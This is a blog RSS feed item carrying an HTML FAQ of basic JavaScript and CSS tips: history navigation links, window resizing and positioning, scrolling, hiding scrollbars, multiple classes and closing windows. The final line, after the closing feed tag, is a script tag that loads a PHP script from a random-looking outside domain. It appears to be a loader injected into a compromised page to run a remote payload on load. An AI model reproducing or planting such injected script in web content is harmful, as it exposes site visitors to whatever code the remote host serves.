<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">HTML, JavaScript, Style, Blur, History, Self, Document</span></p>
<h1 style="margin: 12pt 0in 3pt 0.25in; text-indent: -0.25in; mso-list: l0 level1 lfo1; tab-stops: list .25in;"><a name="_Toc90091860"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 16.0pt; mso-bidi-font-family: Verdana;"><span style="mso-list: Ignore;">2.<span style="font: 7pt &quot;Times New Roman&quot;;">    </span></span></span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 16.0pt;">Tips and Tricks</span></a><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 16.0pt;"></span></h1>
<h2 style="margin: 12pt 0in 3pt 0.55in; text-indent: -0.3in; mso-list: l0 level2 lfo1; tab-stops: list .55in;"><a name="_Toc90091861"><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 14.0pt; mso-bidi-font-family: Verdana; mso-bidi-font-style: italic;"><span style="mso-list: Ignore;">2.1.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;">How do I use a JavaScript link to return to the previous page?</span></a><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;"></span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">JavaScript includes what is called a <em>history object</em>.  It tracks the URLs visited by the browser. You can use this browser history as a means to return to the previous page (or, for that matter, to go back and forward through the history). This is especially useful when a hard-coded, specific link is not possible; for instance, in cases where you do not necessarily know the address of the previously visited page.  This is how a &#8220;previous page&#8221; or &#8220;go-back&#8221; link would appear in your HTML code: </span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;a href=&#8221;javascript:history.go(-1)&#8221;&gt;<br />
Go Back<br />
&lt;/a&gt;</span>
</p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">Alternatively, if you wanted to go forward instead of backward in the history, you would write the code thus:</span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;a href=&#8221;javascript:history.go(1)&#8221;&gt;<br />
Go Forward<br />
&lt;/a&gt;</span></p>
<div style="border-right: medium none; padding-right: 0in; border-top: medium none; padding-left: 0in; padding-bottom: 1pt; margin-left: 0.25in; border-left: medium none; margin-right: 0in; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt;">
<p style="mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">The numbers in the parentheses are the number of pages to move (forward or back, respectively, in the above examples).  You can also move more than one page; for instance javascript.history.go(-3) would navigate three pages back in the history.  Note that if there is no page in the history to go to, the JavaScript does not error out; it simply does nothing.</span></p>
</div>
<h2 style="margin: 12pt 0in 3pt 0.55in; text-indent: -0.3in; mso-list: l0 level2 lfo1; tab-stops: list .55in;"><a name="_Toc90091862"><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 14.0pt; mso-bidi-font-family: Verdana; mso-bidi-font-style: italic;"><span style="mso-list: Ignore;">2.2.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;">How do I get the page background image to stay fixed when the page is scrolled?</span></a><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;"><span style="mso-spacerun: yes;">  </span></span></h2>
</p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">One simple way is to add bgproperties=&#8221;fixed&#8221; to the body tag, like this:</span></p>
<div style="border-right: medium none; padding-right: 0in; border-top: medium none; padding-left: 0in; padding-bottom: 1pt; margin-left: 0.25in; border-left: medium none; margin-right: 0in; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt;">
<p style="mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;body bgproperties=&#8221;fixed&#8221;&gt;</span></p>
</div>
<h2 style="margin: 12pt 0in 3pt 0.55in; text-indent: -0.3in; mso-list: l0 level2 lfo1; tab-stops: list .55in;"><a name="_Toc90091863"><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 14.0pt; mso-bidi-font-family: Verdana; mso-bidi-font-style: italic;"><span style="mso-list: Ignore;">2.3.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;">How can I set a window&#8217;s size when it is opened?</span></a><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">Put this as early in the &lt;head&gt; of the page as possible: </span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;script&gt;<br />
self.resizeTo(100,200);<br />
&lt;/script&gt;</span></p>
<div style="border-right: medium none; padding-right: 0in; border-top: medium none; padding-left: 0in; padding-bottom: 1pt; margin-left: 0.25in; border-left: medium none; margin-right: 0in; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt;">
<p style="mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">Set the dimensions in the parentheses.  The first number is the width; the second is the height</span></p>
</div>
<h2 style="margin: 12pt 0in 3pt 0.55in; text-indent: -0.3in; mso-list: l0 level2 lfo1; tab-stops: list .55in;"><a name="_Toc90091864"><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 14.0pt; mso-bidi-font-family: Verdana; mso-bidi-font-style: italic;"><span style="mso-list: Ignore;">2.4.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;">How can I set a window&#8217;s position when it is opened?</span></a><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;"> </span></h2>
</p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">Put this as early in the &lt;head&gt; of the page as possible: </span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;script&gt;<br />
self.moveTo(100,200);<br />
&lt;/script&gt;</span></p>
<div style="border-right: medium none; padding-right: 0in; border-top: medium none; padding-left: 0in; padding-bottom: 1pt; margin-left: 0.25in; border-left: medium none; margin-right: 0in; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt;">
<p style="mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">Set the position in the parentheses.  The first number is the x (that is, left) position; the second number is the y (that is, top) position</span></p>
</div>
<h2 style="margin: 12pt 0in 3pt 0.55in; text-indent: -0.3in; mso-list: l0 level2 lfo1; tab-stops: list .55in;"><a name="_Toc90091865"><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 14.0pt; mso-bidi-font-family: Verdana; mso-bidi-font-style: italic;"><span style="mso-list: Ignore;">2.5.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;">How do I use JavaScript to scroll to the top of the page?</span></a><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;"> </span></h2>
</p>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">The following JavaScript link in your page will cause the page to scroll to the top: </span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;a href=&#8221;javascript:scroll(0,0)&#8221;&gt;<br />
Top<br />
&lt;/a&gt;</span></p>
<div style="border-right: medium none; padding-right: 0in; border-top: medium none; padding-left: 0in; padding-bottom: 1pt; margin-left: 0.25in; border-left: medium none; margin-right: 0in; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt;">
<p style="mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">The first number is the x position, the second is the y position. (Positions are in pixels.)  So, you can also change these numbers to scroll to a specific point on a page, too.</span></p>
</div>
<h2 style="margin: 12pt 0in 3pt 0.55in; text-indent: -0.3in; mso-list: l0 level2 lfo1; tab-stops: list .55in;"><a name="_Toc90091866"><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 14.0pt; mso-bidi-font-family: Verdana; mso-bidi-font-style: italic;"><span style="mso-list: Ignore;">2.6.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;">How do I stop the scrollbar from showing in a regular window?</span></a><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;"> </span></h2>
</p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: Arial;">In windows where you have a minimum of content, or for design reasons do not want the browser scrollbar to show, you can remove the scrollbar by adding </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">scroll=&#8221;no&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: Arial;"> to the page body tag, like this:</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"> </span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;body scroll=&#8221;no&#8221;&gt;</span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: Arial;">A perhaps more sensible approach in most cases, however, is to use </span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">scroll=&#8221;auto&#8221;</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: Arial;"> instead.  This removes the scrollbar from the page when there is no need for it; but shows the scrollbar when content exceeds the length of the window.  Thus:</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"></span></p>
<div style="border-right: medium none; padding-right: 0in; border-top: medium none; padding-left: 0in; padding-bottom: 1pt; margin-left: 0.25in; border-left: medium none; margin-right: 0in; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt;">
<p style="mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;body scroll=&#8221;auto&#8221;&gt;</span></p>
</div>
<h2 style="margin: 12pt 0in 3pt 0.55in; text-indent: -0.3in; mso-list: l0 level2 lfo1; tab-stops: list .55in;"><a name="_Toc90091867"><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 14.0pt; mso-bidi-font-family: Verdana; mso-bidi-font-style: italic;"><span style="mso-list: Ignore;">2.7.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;">How do I attach more than one style to an element?</span></a><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">Basically, you just put them all in a row with a space between them when you attach the class, as in this &lt;div&gt; example, where three different styles are used: </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;div class=&#8221;styleOne styleTwo styleThree&#8221;&gt;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">For instance, let&#8217;s say we have this style script in the head of the page:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;style&gt;</p>
<p>.bigText {<br />
font-family: sans-serif;<br />
font-size: 20px;<br />
}<br />
.redItalic {<br />
color : red;<br />
font-style: italic;<br />
}<br />
.lineThrough {<br />
text-decoration: line-through;<br />
}<br />
&lt;/style&gt;</span>
</p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">To attach that to a &lt;div&gt; with some text, it would look like this:</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;div class=&#8221;bigText redItalic lineThrough&#8221;&gt;<br />
Hello<br />
&lt;/div&gt;</span>
</p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">with the result showing, thus&#8230;</span></p>
<div style="border-right: medium none; padding-right: 0in; border-top: medium none; padding-left: 0in; padding-bottom: 1pt; margin-left: 0.25in; border-left: medium none; margin-right: 0in; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt;">
<p class="MsoNormal" style="margin: 0in 0in 0pt; mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; color: red; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 16.0pt; mso-bidi-font-family: Arial;">Hello</span></em></p>
</div>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><em style="mso-bidi-font-style: normal;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 16.0pt; mso-bidi-font-family: Arial;"><span style="text-decoration: none;"> </span></span></em></p>
<h2 style="margin: 12pt 0in 3pt 0.55in; text-indent: -0.3in; mso-list: l0 level2 lfo1; tab-stops: list .55in;"><a name="_Toc90091868"><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: Verdana; mso-bidi-font-size: 14.0pt; mso-bidi-font-family: Verdana; mso-bidi-font-style: italic;"><span style="mso-list: Ignore;">2.8.<span style="font: 7pt &quot;Times New Roman&quot;;"> </span></span></span><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;">How do I close a regular window with a JavaScript link, and how would I do it if I am using frames?</span></a><span style="font-size: 10pt; color: #ff9900; font-style: normal; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 14.0pt; mso-bidi-font-style: italic;"> </span></h2>
<p class="MsoNormal" style="margin: 0in 0in 0pt 0.25in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: Arial;">For a regular window, use this:</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"> </span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;a href=&#8221;javascript:window.close()&#8221;&gt;Close&lt;/a&gt;</span></p>
<p style="margin-left: 0.25in;"><span style="font-size: 10pt; color: white; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: Arial;">I</span><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: Arial;">f you are using a frameset, then use this in any page in any frame in the fr</span><span style="font-size: 10pt; color: white; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt; mso-bidi-font-family: Arial;">ameset:</span><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"></span></p>
<div style="border-right: medium none; padding-right: 0in; border-top: medium none; padding-left: 0in; padding-bottom: 1pt; margin-left: 0.25in; border-left: medium none; margin-right: 0in; padding-top: 0in; border-bottom: windowtext 1pt solid; mso-element: para-border-div; mso-border-bottom-alt: solid windowtext .75pt;">
<p style="mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><span style="font-size: 10pt; color: blue; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;">&lt;a href=&#8221;javascript:top.window.close()&#8221;&gt;Close&lt;/a&gt; </span></p>
<p style="mso-padding-alt: 0in 0in 1.0pt 0in; mso-border-bottom-alt: solid windowtext .75pt; padding: 0in;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"> </span></p>
</div>
<p class="MsoNormal" style="margin: 0in 0in 0pt;"><span style="font-size: 10pt; font-family: &quot;Verdana&quot;,&quot;sans-serif&quot;; mso-bidi-font-size: 12.0pt;"> </span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/11/java-script-faq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>